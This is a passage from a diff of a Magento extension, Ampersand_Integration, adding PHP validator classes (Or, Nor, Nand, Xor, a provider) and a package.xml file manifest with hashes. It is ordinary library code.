interface Ampersand_Validator_Interface
|
19 |
+
{
|
20 |
+
/**
|
21 |
+
* @param mixed $input
|
22 |
+
* @return bool
|
23 |
+
*/
|
24 |
+
public function validate($input);
|
25 |
+
|
26 |
+
/**
|
27 |
+
* @param Ampersand_Object $config
|
28 |
+
* return Ampersand_Validator_Interface
|
29 |
+
*/
|
30 |
+
public function setConfig(Ampersand_Object $config);
|
31 |
+
|
32 |
+
/**
|
33 |
+
* @return Ampersand_Object
|
34 |
+
*/
|
35 |
+
public function getConfig();
|
36 |
+
}
|
lib/Ampersand/Validator/Nand.php
ADDED
@@ -0,0 +1,24 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Validator
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Validator
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Validator_Nand extends Ampersand_Validator_And
|
19 |
+
{
|
20 |
+
protected function _validate($input)
|
21 |
+
{
|
22 |
+
return !parent::_validate($input);
|
23 |
+
}
|
24 |
+
}
|
lib/Ampersand/Validator/Nor.php
ADDED
@@ -0,0 +1,24 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Validator
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Validator
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Validator_Nor extends Ampersand_Validator_Or
|
19 |
+
{
|
20 |
+
protected function _validate($input)
|
21 |
+
{
|
22 |
+
return !parent::_validate($input);
|
23 |
+
}
|
24 |
+
}
|
lib/Ampersand/Validator/Or.php
ADDED
@@ -0,0 +1,30 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Validator
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Validator
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Validator_Or extends Ampersand_Validator_GroupAbstract
|
19 |
+
{
|
20 |
+
protected function _validate($input)
|
21 |
+
{
|
22 |
+
foreach ($this->getChildren() as $_validator) {
|
23 |
+
if ($_validator->validate($input)) {
|
24 |
+
return true;
|
25 |
+
}
|
26 |
+
}
|
27 |
+
|
28 |
+
return false;
|
29 |
+
}
|
30 |
+
}
|
lib/Ampersand/Validator/Provider.php
ADDED
@@ -0,0 +1,28 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Validator
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Validator
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Validator_Provider extends Ampersand_ClassProvider
|
19 |
+
{
|
20 |
+
protected $_classes = array(
|
21 |
+
'and' => 'Ampersand_Validator_And',
|
22 |
+
'instance_of' => 'Ampersand_Validator_InstanceOf',
|
23 |
+
'nand' => 'Ampersand_Validator_Nand',
|
24 |
+
'nor' => 'Ampersand_Validator_Nor',
|
25 |
+
'or' => 'Ampersand_Validator_Or',
|
26 |
+
'xor' => 'Ampersand_Validator_Xor',
|
27 |
+
);
|
28 |
+
}
|
lib/Ampersand/Validator/Xor.php
ADDED
@@ -0,0 +1,34 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Validator
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Validator
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Validator_Xor extends Ampersand_Validator_GroupAbstract
|
19 |
+
{
|
20 |
+
protected function _validate($input)
|
21 |
+
{
|
22 |
+
$nrOfSuccesses = 0;
|
23 |
+
|
24 |
+
foreach ($this->getChildren() as $_validator) {
|
25 |
+
$nrOfSuccesses += (int) $_validator->validate($input);
|
26 |
+
|
27 |
+
if ($nrOfSuccesses > 1) {
|
28 |
+
return false;
|
29 |
+
}
|
30 |
+
}
|
31 |
+
|
32 |
+
return 1 == $nrOfSuccesses;
|
33 |
+
}
|
34 |
+
}
|
package.xml
ADDED
@@ -0,0 +1,18 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?xml version="1.0"?>
|
2 |
+
<package>
|
3 |
+
<name>Ampersand_Integration</name>
|
4 |
+
<version>1.2.9</version>
|
5 |
+
<stability>stable</stability>
|
6 |
+
<license uri="http://www.opensource.org/licenses/gpl-license.php">GNU General Public License (GPL)</license>
|
7 |
+
<channel>community</channel>
|
8 |
+
<extends/>
|
9 |
+
<summary>Ampersand Integration framework from Ampersand Commerce.</summary>
|
10 |
+
<description>Ampersand Integration framework from Ampersand Commerce.</description>
|
11 |
+
<notes>Ampersand_Integration v1.2.9</notes>
|
12 |
+
<authors><author><name>AmpersandHQ</name><user>auto-converted</user><email>magento@ampersandcommerce.com</email></author></authors>
|
13 |
+
<date>2013-01-24</date>
|
14 |
+
<time>14:58:16</time>
|
15 |
+
<contents><target name="magecore"><dir name="Ampersand"><dir name="Integration"><dir name="Controller"><dir name="Adminhtml"><file name="Message.php" hash="6f015520946cc36b725e89618cae382a"/><file name="Abstract.php" hash="f7a5844582136db26c1f19113b0aaad1"/></dir></dir><dir name="Block"><dir name="Adminhtml"><dir name="Flag"><dir name="View"><file name="Overview.php" hash="1094bb0a741e65b39530ba752a356553"/><file name="Identifier.php" hash="d27c79aa4e58f2c20f60895bf86fe54f"/><file name="Abstract.php" hash="49432989b60fb84738363e8ccbfff43a"/></dir><file name="View.php" hash="f832a41bc5d7c637a6a8b29a702eda68"/><file name="Grid.php" hash="787ee697231f8012e4dafc1b556da6b0"/></dir><dir name="System"><dir name="Config"><dir name="Renderer"><file name="CustomFields.php" hash="a06d7b72d9c6879d70633b3b62c46d3f"/></dir></dir></dir><dir name="MessageIdentifier"><file name="Grid.php" hash="c68d935da02001cdaf604ecac8fb99fe"/></dir><dir name="Grid"><file name="DirectedServiceFilter.php" hash="0be2fc4495843d3e9cb9d0c0fccb8ca7"/><file name="DirectedServiceRenderer.php" hash="076a9e9967391d3b6a962484031df153"/><file name="StatusRenderer.php" hash="71f28d2adfcc5b96d88c6b0a2cf46f9e"/></dir><dir name="Message"><dir name="View"><dir name="LogContent"><file name="Pair.php" hash="f6d1aab3bf18346dbe4c8d6795ea2a2f"/><file name="XmlElement.php" hash="6dd023608856f335f3cea59b6f72b4b0"/></dir><dir name="RelatedObjects"><file name="Grid.php" hash="62f41183c7c91f2503839bdbd8949fd7"/></dir><dir name="Flags"><file name="Grid.php" hash="37b5aefceda6a49c26647ff5fd69dcd3"/></dir><file name="LogContent.php" hash="3fcb29bf7377e1687e94da267f28e23d"/><file name="Overview.php" hash="c9bacf9bcec475745e15dd1dd252db0e"/><file name="Abstract.php" hash="911c26118814f044179643bc36eed5a5"/></dir><file name="View.php" hash="f170a69c3ac734db702f75b8e8004993"/><file name="Grid.php" hash="ecbdda7c11c739c672020eee2492d6ab"/></dir><file name="Message.php" hash="62d23500e78153bda2259261e11f8e00"/><file name="MessageIdentifier.php" hash="ca522ee0952ae78036129b1466e4a744"/><file name="GridAbstract.php" hash="6ca013491e5659e06a8184394009f2e1"/><file name="Flag.php" hash="c8691f47fe3c7cfabe0b94943851953d"/></dir></dir><dir name="etc"><dir name="integration"><file name="in.types.xml" hash="6c226bc6e2cd2f41fe497bf6db230b18"/><file name="out.types.xml" hash="bdd65bcc2b43fe636705f63a045b7b09"/></dir><file name="adminhtml.xml" hash="56054eed9dbcc9bef84c6f45219d152a"/><file name="config.xml" hash="2ac69b7fa5f052d84483c118eb284bd8"/></dir><dir name="sql"><dir name="ampersand_integration_setup"><file name="mysql4-install-1.0.0.php" hash="c3ea0a40166d2aed065c2ec050f23f2a"/><file name="mysql4-upgrade-1.2.7-1.2.8.php" hash="af2238a3190c37c4e80738387546f8d3"/><file name="mysql4-upgrade-1.0.0-1.0.1.php" hash="78ea39dbbf6985f94d3ec3243ac26199"/><file name="mysql4-upgrade-1.0.1-1.0.2.php" hash="2696a2f147d14cf2eadc32b4e9a1d22b"/><file name="mysql4-upgrade-1.2.6-1.2.7.php" hash="427f149598e521397573c575f4e6e817"/><file name="mysql4-upgrade-1.2.3-1.2.4.php" hash="3b6d741ded61c7089a0122ac7d725899"/></dir></dir><dir name="controllers"><dir name="Adminhtml"><dir name="Message"><file name="ViewController.php" hash="23ec5397bfea655f98de422eeff5383d"/></dir><file name="MessageController.php" hash="75da4996c08962e4f7c190b19dcc52cf"/><file name="FlagController.php" hash="5f04048253b37f60e4bf9d3e7b0d869a"/><file name="MessageIdentifierController.php" hash="9ed8f5282d2016f5de479569a70ba3a5"/></dir><file name="MessageController.php" hash="e08f37dedeaa03e696258398e4ba624d"/></dir><dir name="Helper"><file name="Message.php" hash="626ef09db3b538355f5623f0ce8f7f0e"/><file name="Adminhtml.php" hash="cd83144ea405778ec85b4f93c140b5fb"/><file name="ServiceAbstract.php" hash="0a58a214a97b7dad6d11ca582b60ffbb"/><file name="Data.php" hash="24204d965b0c19d3a252fc325ee0a3eb"/></dir><dir name="Model"><dir name="Logger"><file name="Database.php" hash="51d1571ceb6285ee48e0d9aca32bde13"/><file name="File.php" hash="1642f6ca9788e396ed3f876b895985dc"/></dir><dir name="Mapper"><file name="ClassName.php" hash="24c362329835f9c00c9876678194bf8d"/><file name="Helper.php" hash="e15466f3269d6582bea14f4e8b634fec"/><file name="StoreConfig.php" hash="3971cfe90cebc9e7757db587ca688c6d"/><file name="CustomFields.php" hash="c8cf4210f10cbf6bb799f8dc9914fcc2"/></dir><dir name="Transport"><dir name="Incoming"><file name="Http.php" hash="0cb43a9cecf3afab96c07e0a9165356a"/></dir></dir><dir name="Mysql4"><dir name="Flag"><file name="Collection.php" hash="81a9a48649d94ca0b18f69cd23446341"/></dir><dir name="StockUpdate"><file name="Collection.php" hash="427d5739abd3512b59b3fdc6fdcc27b4"/></dir><dir name="Service"><dir name="Info"><file name="Collection.php" hash="469067e574bd641d7772b19435a54117"/></dir><file name="Info.php" hash="e8761d0807aac8772b09fe4e16714a79"/></dir><dir name="Message"><dir name="Identifier"><file name="Collection.php" hash="18889c9e94f0b63a9cb773561d2d03f1"/></dir><file name="Identifier.php" hash="43e5fd91d2503b03efdd3a6ae5c7a09f"/><file name="Collection.php" hash="5f70344d005c610f0624876b958404b0"/></dir><dir name="Status"><file name="Collection.php" hash="de7194895f241b48e0fb836c585d1c51"/></dir><file name="StockUpdate.php" hash="9c771ab5b29dbc54427b41474c50769a"/><file name="Message.php" hash="06e307e640265c43c02991e61fe88769"/><file name="Status.php" hash="fe6d3ee851aac1dc9b52e1415afbf402"/><file name="Flag.php" hash="852038981e13ff4072fbcbf49d13479a"/><file name="Abstract.php" hash="4c09d60c4c2989eb215e8d3ab32102f3"/></dir><dir name="Service"><file name="CollectionAbstract.php" hash="081fbdbda6527cbad594c7793666a9a2"/><file name="Info.php" hash="7b33ef3907ea44332b735794528fecec"/></dir><dir name="Config"><file name="Base.php" hash="18b58e08e162ca3c2c49a23180fa659f"/></dir><dir name="Message"><dir name="Filter"><file name="CompressDirectory.php" hash="f895076af41e47607e403bc1f8eda60b"/></dir><file name="Identifier.php" hash="907998d13e8ae7f716a40c9ee93b2954"/></dir><file name="StockUpdate.php" hash="8917cd6dad893cd38a880df8d3844e82"/><file name="Message.php" hash="cc449a7e5ccfde0a127c6f1225ff0955"/><file name="Payment.php" hash="ea784965b86d5f166aaee0117e668eaa"/><file name="Invoice.php" hash="53fafbe8e6b95e3faa3b5e3a5cb66beb"/><file name="AdminSession.php" hash="e53c4a8a486e92cc4b18dc770f3b4909"/><file name="Creditmemo.php" hash="340375c044342434fe02a54f703dc191"/><file name="Status.php" hash="d4bad934376a37ef0f57e342812f3ab3"/><file name="Service.php" hash="e8e2607cf15edda4d6589c3e0370d4fc"/><file name="License.php" hash="32ebf0153a721806ee01a5fbe3be2ae7"/><file name="Flag.php" hash="5b4e908ea5ead6c475ad07e3b3d33369"/><file name="Shipment.php" hash="d4b587555386305a9c069b7e6d79b584"/><file name="OrderAbstract.php" hash="2bf7a01714e1b437469e38ccceebc182"/><file name="Config.php" hash="5b6e6ca8d0d0010437538605ac10af4d"/></dir><file name="changelog.txt" hash="d1b58163967baeb2c77f1965a9e9eebb"/></dir></dir></target><target name="magedesign"><dir name="adminhtml"><dir name="base"><dir name="default"><dir name="layout"><file name="ampersand_integration.xml" hash="bb3c81afd54ed0f484343c001ddcd475"/></dir><dir name="template"><dir name="ampersand_integration"><dir name="flag"><dir name="view"><file name="overview.phtml" hash="d157dcd0a726b82e9c83406b76a08aa6"/><file name="identifier.phtml" hash="f4cf9455a0f3658f1110acbacf5b1a66"/></dir><file name="view.phtml" hash="7823d7dfa302808f053b4d5edeb1618c"/></dir><dir name="message"><dir name="view"><dir name="log-content"><file name="pair.phtml" hash="946e474129320ad9130c47e58c83d44c"/><file name="xml-element.phtml" hash="2227e7327677bd30bc91c4daebcb28f5"/></dir><file name="flags.phtml" hash="2e263cd0e96d84aee0d06df7d09be6ba"/><file name="overview.phtml" hash="3a95c7d2a84b3fb770d38b14a8dd8f96"/><file name="related-objects.phtml" hash="03e8715121fb3113443ddaf72ba80424"/><file name="log-content.phtml" hash="cffdfd74eb797b26c1d272d8f90ef540"/></dir><file name="view.phtml" hash="3f16025bfa31d996b048256b47ce3d1c"/></dir></dir></dir></dir></dir></dir></target><target name="mageetc"><dir name="modules"><file name="Ampersand_Integration.xml" hash="286c95f777f9b85f04c382f3cc8ad062"/></dir></target><target name="magelib"><dir name="Ampersand"><dir name="Validator"><file name="Or.php" hash="b41ce5fd444d7d8dac84b183ffabca5f"/><file name="InstanceOf.php" hash="dfa263b1543c6ea16d16a7d30055d4f8"/><file name="Xor.php" hash="9205510ec81e1d7fc691c2e686e0e46b"/><file name="Nor.php" hash="2d274c47c413abf096610899aee7729b"/><file name="And.php" hash="ca8a2409bd4860c357cfa48b48ac6b2c"/><file name="Nand.php" hash="063b666b8cfd330341a5de6f74eeccbf"/><file name="Abstract.php" hash="b60da0738c2606f5ced7a79f6651b380"/><file name="Interface.php" hash="04557c7a0650d7819ed160a50bfbd6d6"/><file name="GroupAbstract.php" hash="a0cf74647b348a4172f3b2592f72727d"/><file name="Provider.php" hash="3bf6044fbe0052a7f33df694011c8b01"/></dir><dir name="Integration"><dir name="Flag"><file name="AggregatorInterface.php" hash="decc2d594800e405a42eb465c0ddde5a"/><file name="FlagInterface.php" hash="0fed1dba4fb1a5a8feb2bbd42c074f31"/></dir><dir name="Transport"><dir name="Outgoing"><dir name="Http"><file name="Client.php" hash="56c4572666225ae521810743c7ee3afd"/></dir><dir name="Oauth"><file name="Client.php" hash="d04062d6624f85c66448a646aa4f0287"/></dir><file name="Test.php" hash="ba8f9d82efc5f0963fe6d07ddff733fc"/><file name="Oauth.php" hash="352e17b568e0155d06d4e6d129dea57d"/><file name="FileTransfer.php" hash="d4b359439159c5788ae66b30d1080d50"/><file name="Soap.php" hash="4b6ca7c91614fa0c2b84311ec7ddd7a4"/><file name="File.php" hash="8e9f9d4d9748994ad02ec27669cbe509"/><file name="FtpTransfer.php" hash="7ae23eda98912026a99bf011fbac5a63"/><file name="Http.php" hash="87ceda3e9a799ac034c2deaf901d22ff"/><file name="Ftp.php" hash="a07ecbe70524a6144d34c3f81434c8c0"/><file name="Abstract.php" hash="70adacec239c4f209413287c33854446"/><file name="Interface.php" hash="35b81a731038e0fc7fe124d30dc65eb4"/><file name="Provider.php" hash="17409612456760b7ba438b868bc84709"/></dir><dir name="Incoming"><file name="Test.php" hash="b69a7da62e59b1eaa6f864771df9db04"/><file name="FileTransfer.php" hash="882b7b10276d5e19b9789e41afea9c85"/><file name="File.php" hash="c6efd205c5a3021044b7bfb65d6486de"/><file name="FtpTransfer.php" hash="6821f864cadf46366e4075ffc2a8a104"/><file name="Http.php" hash="c2fc94b9d94c9fde6cd97b658b431865"/><file name="Ftp.php" hash="e753db6c858cee2927816c85b9110207"/><file name="Abstract.php" hash="32b3438a135cc77174453e4b7b5e5b13"/><file name="Interface.php" hash="c31e9e33bc29714ae4bcbfc593c71a3b"/><file name="Provider.php" hash="19a08b3f7395bebddce3478289092ce8"/></dir><file name="FileTransferAbstract.php" hash="c8b4b0abd14a0401ad581c4b0c6c67ec"/><file name="FtpTransferAbstract.php" hash="caa5399d394d43b6ac0740aaa4e0ba70"/><file name="Exception.php" hash="dedacc4f00027812bd439a610538a042"/><file name="Abstract.php" hash="fa361113969f4f7dcdfcc65ba72aaee0"/><file name="Interface.php" hash="a4b0e9e46332516415e782afd5c79844"/></dir><dir name="Identifier"><file name="AggregatorInterface.php" hash="168d9c692ab02e902a00da3468fc9d0f"/><file name="IdentifierInterface.php" hash="26260a61e03d8bd5c062ff818fefc755"/><file name="IdentifierAbstract.php" hash="af44676d6113bc3e429c93f237cd5170"/><file name="AggregatorAbstract.php" hash="ddc8175e66a48ce0a3d5f7743d06c184"/></dir><dir name="Debug"><file name="DebugInterface.php" hash="9930b555f011270bf3a9f84441d09100"/></dir><dir name="HandlerQueue"><dir name="Handler"><file name="Validate.php" hash="e288ab61eec42c035aad55cd6a4acd3c"/><file name="CallbackMulti.php" hash="ce8af5ee8e00542abb8b1f6a3d7c98d5"/><file name="Transform.php" hash="b05028c1e1ffa802c6bdc2032eaed95f"/><file name="Abstract.php" hash="5c8ac11b8b2f0a614df9b9374b9caf74"/><file name="Interface.php" hash="3c9a25f684d49efb1f667fe48adabec2"/><file name="Filter.php" hash="246a7430651600e370c3d521a8507545"/><file name="Copy.php" hash="ef810c8dd08e768e3e7dcd8bd5df0286"/><file name="CallbackSingle.php" hash="6a0a84459e9484b2d42e87d944fa2ef7"/><file name="Provider.php" hash="12d184cc4e61c0c14bf2f1f3148b9494"/></dir><file name="Config.php" hash="e0a5bd03c867008c5eb0b5604b94e241"/></dir><dir name="Message"><dir name="Logger"><file name="XmlFile.php" hash="3c5b96a5df82773778e18856b304d4f0"/><file name="File.php" hash="08995576ab50224770893fb27b636b08"/><file name="Exception.php" hash="ac7b4617a07ba7b9acc396c271865f50"/><file name="Abstract.php" hash="e4f622750a95ac73e2265755ed6c5410"/><file name="Interface.php" hash="39ed0ecb706676f229a027134b1cb2ee"/><file name="Provider.php" hash="ed08687ea9ce5257bad6f68e5e53e88a"/></dir><dir name="Obfuscator"><file name="FixedLength.php" hash="2bb42724a4a0554f26e0309101549562"/><file name="ObfuscatorInterface.php" hash="56e1897764bca8d6cb0ed3b9c59616af"/><file name="Password.php" hash="0caf1673ce869920b09dd451ff0cf0b3"/><file name="Cc.php" hash="b03a9c420c9458450da73b321d4071ea"/><file name="Provider.php" hash="79d6d5f90d5f173d2df289750d137be2"/></dir><dir name="Config"><file name="Incoming.php" hash="efaee0830d5064eedb371122df84512b"/><file name="Abstract.php" hash="ff786a635df7985ffba8ab090d3d1308"/><file name="Outgoing.php" hash="e040efc6f9c89a27d0252c7ef0dcb5ba"/></dir><dir name="Filter"><file name="DomHtml.php" hash="404a5e927434872f7fd817a1d4c07389"/><file name="Json.php" hash="b1e3e59cea499bf1ca1be8dd66c9d62d"/><file name="Xsv.php" hash="a5e250452e3d343fe5d51ca81779127d"/><file name="KeyValue.php" hash="e09f5b7a81d902e8f254f1499f143320"/><file name="XmlObject.php" hash="ab0d876fa212a1678bbd1bb6ba3a8b1c"/><file name="Exception.php" hash="6827ace2571873aae6258103f8ae22cb"/><file name="AmpersandObject.php" hash="f38426976541b9d44e9cb9781e9a8178"/><file name="Abstract.php" hash="75a0d63dc07d46ab25592570b33c0374"/><file name="Interface.php" hash="3dde7e4c93d4dbec6b62ce3c1d105765"/><file name="CompressDirectory.php" hash="500b40773c882ccb4129537edc3b7429"/><file name="Provider.php" hash="5d238c39c3ab2912eb665bc7f39a774e"/></dir><dir name="Data"><file name="Request.php" hash="e37ad3d3ce27bfc4d4b4adf2b60596cf"/><file name="Response.php" hash="d86a80e919176161ae52c474c0a7293b"/><file name="Abstract.php" hash="91682c0b505db64603c4b8b4cc1cbdb9"/></dir><file name="Debug.php" hash="47e74aee452796e1736f942c2de52416"/><file name="Incoming.php" hash="a7674e401d123df3c2ed66902d319f6f"/><file name="Abstract.php" hash="98bd0a9ae381db2b432e6002c71ff880"/><file name="Outgoing.php" hash="4a5c32c955be857fbfc49f08280f24f5"/></dir><file name="Debug.php" hash="35259e76d8b5d40f4605378dd52c89db"/><file name="ReconfigurableInterface.php" hash="a557509954d3dfde4293e83bab0f4ad9"/><file name="ConfigurableInterface.php" hash="7c3166e5b929308f34b590ef986d8fad"/><file name="Identifier.php" hash="45b8b56a6bd788174d1a319afe8b1722"/><file name="Exception.php" hash="362789fc0bf5e52070b82e275f303ee7"/><file name="Service.php" hash="ac2b4d9987505fa6f3869872edccb2b2"/><file name="Flag.php" hash="2c0fea849df462b8cbf423e5e09428eb"/><file name="Registry.php" hash="fbfc66325c72eb718e75c77bb169ea62"/><file name="HandlerQueue.php" hash="2bf2e8d4c685c8f3d64dff296539c670"/><file name="DebugableInterface.php" hash="e22698f72054dabadbf21558f80c51bf"/></dir><dir name="Render"><dir name="Renderer"><dir name="Soap"><file name="DummyClient.php" hash="b6f67f157b23e10d787bc8fde4de81f9"/></dir><file name="KeyValues.php" hash="72ca0b891ce0c194b02985af0f7d6ec9"/><file name="Soap.php" hash="dccb49b6a2f9243497444fbef7026283"/><file name="Xsv.php" hash="05985e56bf3d81c6127c18afdebb3194"/><file name="KeyValue.php" hash="66af1e6656c83056b3056fe111eb7980"/><file name="Xml.php" hash="4cf104ab197cac1e4678f73f7a7599fe"/><file name="Abstract.php" hash="b7b74edd4f6043e10ac72e0c26e97ad9"/><file name="Interface.php" hash="ca4c0c88e2764ce6b94e5eaf6fadb16e"/><file name="Provider.php" hash="4b56d66b2ba73e132d2accb7f7d2cb45"/></dir><file name="XmlElement.php" hash="215cce1b5e9fe0554c6f894f1eeb9784"/><file name="Exception.php" hash="bfa69006dd12cd8a81fb11c229773648"/></dir><dir name="Map"><dir name="Mapper"><file name="LeafAbstract.php" hash="a543b11a21ecebecdc29f3a8397ca800"/><file name="Fraction.php" hash="66af995b46a2828882e597b748ef3456"/><file name="Xpath.php" hash="2ffba5c3740ed98bb428fc7a0b97c3ed"/><file name="Iteration.php" hash="2a8a0177e7a479a08f75d2371285b414"/><file name="Concatenate.php" hash="fb56952f47af9aad846a9f2c0e67202c"/><file name="FlagType.php" hash="f91b09ea7845421a6e20a3e4a34f9252"/><file name="Function.php" hash="1148c180ef31b29c770bc9d7df452b15"/><file name="Accessor.php" hash="a293becebb13ed9890ea4f83fc44ee8d"/><file name="AllData.php" hash="bf5acdf5301bb19543b77b815f2b2d37"/><file name="Sum.php" hash="1bdc3874235d8ce70dcc65fc519f964a"/><file name="FieldPath.php" hash="11234d05934e0b397539f98ca6ae5282"/><file name="Parameter.php" hash="884f6afdd76adbe6f86974e8d432ce50"/><file name="Negative.php" hash="10b57ea0ad1f4595524e3ca52fc5d4e3"/><file name="Multiply.php" hash="d0ae5bef4f165c28b1413f20826d1cc8"/><file name="Array.php" hash="e861a5891695dedfac388081202031c6"/><file name="Regexp.php" hash="6dc99f22ed50d6c126aa0739073e5598"/><file name="Method.php" hash="4f7cbd38c0dbbb0dc97eea21161914c7"/><file name="Abstract.php" hash="c2a16e4d9c3fa0875adc996bfe05bdce"/><file name="Interface.php" hash="0fe005394328fbc4a652aa43b02a0b8b"/><file name="Property.php" hash="0e0a42d6c5a4b83f2481228db64d70f6"/><file name="XpathSingle.php" hash="086f62190ac3923f46c132d9196bc1c1"/><file name="Truncate.php" hash="60f233c1d4fbfa786698226e874ccfbd"/><file name="Provider.php" hash="8f0267c1194d2e7f87b954db42abbaf8"/></dir><dir name="Iterator"><file name="ContinueException.php" hash="56c6d16fd13c86ec07a887e530ae1efe"/><file name="BreakException.php" hash="d3ddf7ac0d4684f0337c71f0f045a912"/></dir><file name="XmlElement.php" hash="f2f08f799426ef6f39cf7f6300688853"/><file name="Exception.php" hash="9bc349ce8443c0efc192c8ed652da6c2"/><file name="Result.php" hash="9db258a979ea375581bd78fd7493802a"/><file name="Config.php" hash="f6a3098331f1eb62cb82341b85c1f4da"/><file name="Iterator.php" hash="06940eac8407b3b9d39a4a2f9681b11d"/></dir><file name="Render.php" hash="2c7bbfb89c677af94b869d31c1be9a79"/><file name="Map.php" hash="1217bf723f14e097cee54c348d369b81"/></dir></target></contents>
|
16 |
+
<compatible/>
|
17 |
+
<dependencies/>
|
18 |
+
</package>
|